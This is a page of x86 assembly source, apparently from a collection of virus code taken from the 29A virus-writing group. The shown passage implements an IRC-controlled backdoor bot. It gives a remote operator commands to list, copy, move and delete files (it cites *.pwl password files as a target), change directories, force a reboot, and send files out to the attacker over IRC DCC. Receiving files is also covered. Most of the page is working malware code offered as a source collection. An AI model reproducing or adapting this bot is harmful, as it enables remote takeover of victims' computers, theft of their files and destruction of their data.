29a-7.020
来自「从29A上收集的病毒源码」· 020 代码 · 共 3,316 行 · 第 1/5 页
020
3,316 行
repnz scasb
pop esi
jnz err_cmd_syntax
and byte ptr [edi-1], 0
push 0
push edi
push esi
callb CopyFileA
@retecx1
bot_cmd_move: call check_logged_in
jnc err_not_logged_in
lea esi, [ebx+5+1]
cmp byte ptr [esi], LF
jz err_cmd_syntax
push esi
@endcr
and byte ptr [esi-1], 0
sub esi, [esp]
mov ecx, esi
mov edi, [esp]
mov al, ' '
repnz scasb
pop esi
jnz err_cmd_syntax
and byte ptr [edi-1], 0
push edi
push esi
callb MoveFileA
@retecx1
; ---------------------------------------------------------------------------
; erazes specified empty directory
; format: !rmdir <dirname>
; i: nothing
;
; o: error ? ecx=0 : ecx!=0
; ---------------------------------------------------------------------------
bot_cmd_rmdir: call check_logged_in
jnc err_not_logged_in
lea esi, [ebx+6+1]
cmp byte ptr [esi], LF
jz err_cmd_syntax
push esi
@endcr
and byte ptr [esi-1], 0
callb RemoveDirectoryA
@retecx1
; ---------------------------------------------------------------------------
; creates specified directory
; format: !mkdir <dirname>
; i: nothing
;
; o: error ? ecx=0 : ecx!=0
; ---------------------------------------------------------------------------
bot_cmd_mkdir: call check_logged_in
jnc err_not_logged_in
lea esi, [ebx+6+1]
cmp byte ptr [esi], LF
jz err_cmd_syntax
call patchcr
push 0
push esi
callb CreateDirectoryA
@retecx1
; ---------------------------------------------------------------------------
; sets current directory
; format: !cd <dir>
; i: nothing
;
; o: error ? ecx=0 : ecx!=0
; ---------------------------------------------------------------------------
bot_cmd_cd: call check_logged_in
jnc err_not_logged_in
lea esi, [ebx+3+1]
cmp byte ptr [esi], LF
jz err_cmd_syntax
push esi
@endcr
and byte ptr [esi-1], 0
callb SetCurrentDirectoryA
@retecx1
; ---------------------------------------------------------------------------
; print working directory
; i: nothing
;
; o: error ? ecx=0 : ecx!=0
; ---------------------------------------------------------------------------
bot_cmd_pwd: call check_logged_in
jnc err_not_logged_in
mov eax, MAX_PATH
call malloc
xchg eax, ebx
push ebx
push MAX_PATH
callb GetCurrentDirectoryA
push ebx
xchg eax, ecx
call send_privmsg
push ebx
call free
@retecx1
; ---------------------------------------------------------------------------
; lists filez in current directory
; format: !ls <wildcard>
; ex: !ls *.* or !ls *.pwl
; i: nothing
;
; o: error ? ecx=0 : ecx!=0
; ---------------------------------------------------------------------------
bot_cmd_ls: call check_logged_in
jnc err_not_logged_in
lea esi, [ebx+3+1]
cmp byte ptr [esi], LF
jz err_cmd_syntax
call patchcr
xor eax, eax
push eax
push esp
push eax
push esi ; param
lea ecx, bot_ls_thread X
push ecx
push 2000h
push eax
callb CreateThread
pop edx
push eax
callb CloseHandle
@retecx1
bot_ls_thread proc pascal
arg wildcard:DWORD
local wfd:WIN32_FIND_DATA
local search_handle
@SEH_SetupFrame <jmp __dcc_ls_thread_end>
call $+5
lsdelta: pop esi
_LS equ <-lsdelta[esi]>
mov eax, MAX_PATH
call malloc
xchg eax, edi
push edi ; TOS = ptr to message
x_stosd <PRIVMSG >
push esi
lea esi, irc_cmd_nick _LS
push esi
@endsz
sub esi, [esp]
lea ecx, [esi-1]
pop esi
cld
rep movsb
mov ax, ": "
stosw
pop esi
lea eax, wfd
push eax
push wildcard
call _FindFirstFileA _LS
inc eax
jz __err
dec eax
mov search_handle, eax
pop ebx
push edi
__bot_ls_loop: pop edi
push edi
mov edx, esi
lea esi, wfd.WFD_szFileName
__1: lodsb
stosb
test al, al
jnz __1
dec edi
mov ax, CRLF_HEX
stosw
mov esi, ebx
sub edi, esi
mov ecx, edi
IFDEF IRC_LOG
pusha
xor eax, eax
push eax esp ecx esi
mov esi, edx
push (bot_log_handle _LS).dword ptr 0
call _WriteFile _LS
popa
ENDIF ; IRC_LOG
pusha
push 0
push ecx
push esi
mov esi, edx
push (socket_handle _LS).dword ptr 0
call _send _LS
mov [esp.Pushad_ecx], eax
popa
jecxz __err
inc ecx
jecxz __err
mov esi, edx
push 1500
call _Sleep _LS
lea eax, wfd
push eax
push search_handle
call _FindNextFileA _LS
dec eax
jz __bot_ls_loop
__err: pop edx
__dcc_ls_thread_end: @SEH_RemoveFrame
push search_handle
call _FindClose _LS
xchg eax, ebx
call free
leave
push 0
call _ExitThread _LS
bot_ls_thread endp
; ---------------------------------------------------------------------------
; reboot the computer
; i: nothing
;
; o: error ? ecx=0 : ecx!=0
; ---------------------------------------------------------------------------
bot_cmd_reboot: call check_logged_in
jnc err_not_logged_in
push 0
push EWX_REBOOT or EWX_FORCE
callb ExitWindowsEx
push 0
push EWX_FORCE
callb ExitWindowsEx
@retecx1
; ---------------------------------------------------------------------------
; deletes a file, wildcards supported
; format: !del <file>
; i: nothing
;
; o: error ? ecx=0 : ecx!=0
; ---------------------------------------------------------------------------
bot_cmd_del: call check_logged_in
jnc err_not_logged_in
lea esi, [ebx+4+1]
call patchcr
mov eax, size WIN32_FIND_DATA
call malloc
push eax
push eax
push esi
callb FindFirstFileA
inc eax
jz __err
lea ebx, [eax-1]
mov esi, [esp]
lea edi, [esi.WFD_szFileName]
__cycle: push edi
callb DeleteFileA
xchg eax, ecx
jecxz __err
push esi
push ebx
callb FindNextFileA
xchg eax, ecx
jecxz __err
jmp __cycle
__err: push ebx
callb FindClose
pop eax
call free
@retecx1
; ---------------------------------------------------------------------------
; sends file via dcc
; format: !send <nick> <file>
; napomena: zadani fajl mora biti 8.3 i mora biti u trenutnom direktoriju
; (pogledajte !pwd naredbu).
; i: nothing
;
; o: error ? ecx=0 : ecx!=0
; ---------------------------------------------------------------------------
bot_cmd_send: call check_logged_in
jnc err_not_logged_in
lea esi, [ebx+5+1]
call patchcr
xor eax, eax
push eax
push esp
push eax
push esi ; param
lea ecx, bot_sending_thread X
push ecx
push 2000h
push eax
callb CreateThread
pop edx
push eax
callb CloseHandle
@retecx1
bot_sending_thread proc pascal
arg dcc_nick_file:DWORD
local arg_end
local bytes_to_send
local ssocket
local port
local dcc_msg
local f_handle
local arg_start
lea edi, arg_start
lea ecx, arg_end
sub ecx, edi
xor eax, eax
cld
rep stosb
call $+5
sendlta: pop esi
_ST equ <-sendlta[esi]>
mov eax, 200
call malloc
mov dcc_msg, eax
xchg edi, eax
x_stosd <PRIVMSG >
push esi
mov esi, dcc_nick_file
push esi
@endspc
mov ebx, esi
sub esi, [esp]
lea ecx, [esi-1]
pop esi
cld
rep movsb
mov ax, ": "
stosw
pop esi
xor eax, eax
push eax
push eax
push OPEN_EXISTING
push eax
push eax
push GENERIC_READ
push ebx
call _CreateFileA _ST
inc eax
jz __end_dcc
dec eax
mov f_handle, eax
push 0
push eax
call _GetFileSize _ST
mov bytes_to_send, eax
xor ebx, ebx
push ebx
push SOCK_STREAM
push AF_INET
call _socket _ST
inc eax
jz __end_dcc
dec eax
mov ssocket, eax
call _GetTickCount _ST
push 29ah
pop ecx
xor edx, edx
div ecx
add edx, 4000
mov port, edx
push edx
call _htons _ST
push ebx
push ebx
push ebx
shl eax, 16
add al, 2
push eax
mov ecx, esp
push type sockaddr_in
push ecx
push ssocket
call _bind _ST
add esp, 16
test eax, eax
jnz __dcc_close
mov al, 1
stosb
x_stosd <DCC SEND>
mov al, ' '
stosb
push esi
mov esi, dcc_nick_file
@endspc
__copy: lodsb
stosb
test al, al
jnz __copy
dec edi
mov al, ' '
stosb
pop esi
sub esp, 50
mov ebx, esp
push ebx
push 50
push ebx
call _gethostname _ST
call _gethostbyname _ST
mov eax, [eax+16]
mov eax, [eax]
add esp, 50
push eax
call _htonl _ST
call num2ascii
add edi, eax
mov al, ' '
stosb
mov eax, port
call num2ascii
add edi, eax
mov al, ' '
stosb
mov eax, bytes_to_send
call num2ascii
add edi, eax
mov ax, 0d01h
stosw
mov al, LF
stosb
push esi
mov edx, esi
mov esi, dcc_msg
sub edi, dcc_msg
mov ecx, edi
IFDEF IRC_LOG
pusha
xor eax, eax
push eax esp ecx esi
mov esi, edx
push (bot_log_handle _ST).dword ptr 0
call _WriteFile _ST
popa
ENDIF ; IRC_LOG
pusha
push 0
push ecx
push esi
mov esi, edx
push (socket_handle _ST).dword ptr 0
call _send _ST
mov [esp.Pushad_ecx], eax
popa
pop esi
test ecx, ecx
jz __dcc_close
inc ecx
jz __dcc_close
push 1
push ssocket
call _listen _ST
test eax, eax
jnz __dcc_close
push ssocket
push 1
mov ebx, esp
push 0
push 40
mov ecx, esp
cdq
push ecx
push edx
push edx
push ebx
push edx
call _select _ST
add esp, 16
xchg eax, ecx
jecxz __dcc_close
inc ecx
jz __dcc_close
xor eax, eax
push eax
push eax
push ssocket
call _accept _ST
xchg eax, ssocket
push eax
call _closesocket _ST
sub esp, 1000
mov ebx, esp
__cycle: push edx
mov ecx, esp
push 0
push ecx
push 1000
push ebx
push f_handle
call _ReadFile _ST
pop edi
push 0
push edi
push ebx
push ssocket
call _send _ST
inc eax
jz __blocking_check
dec eax
cmp edi, 1000
jz __cycle
add esp, 1000
__blocking_check: call _WSAGetLastError _ST
cmp eax, WSAEWOULDBLOCK
jz __cycle
__dcc_close: mov ebx, 1000
__sleep: sub ebx, 100
test ebx, ebx
jz __end
push 100
call _Sleep _ST
jmp __sleep
__end: push ssocket
call _closesocket _ST
push f_handle
call _CloseHandle _ST
__end_dcc: mov eax, dcc_msg
call free
leave
push 0
call _ExitThread _ST
bot_sending_thread endp
; ---------------------------------------------------------------------------
; automatski prima fajl od ulogiranog nicka
; i: nothing
;
; o: error ? ecx=0 : ecx!=0
; ---------------------------------------------------------------------------
bot_recv_cmd: call check_logged_in
jnc err_not_logged_in
lea esi, [ebx+9+1]
mov ebx, esi
@endspc
and byte ptr [esi-1], 0
call ascii2num
mov dcc_recv_IP X, eax
call ascii2num
mov dcc_recv_port X, eax
call ascii2num
mov dcc_recv_size X, eax
xor edx, edx
push edx
push edx
⌨️ 快捷键说明
复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?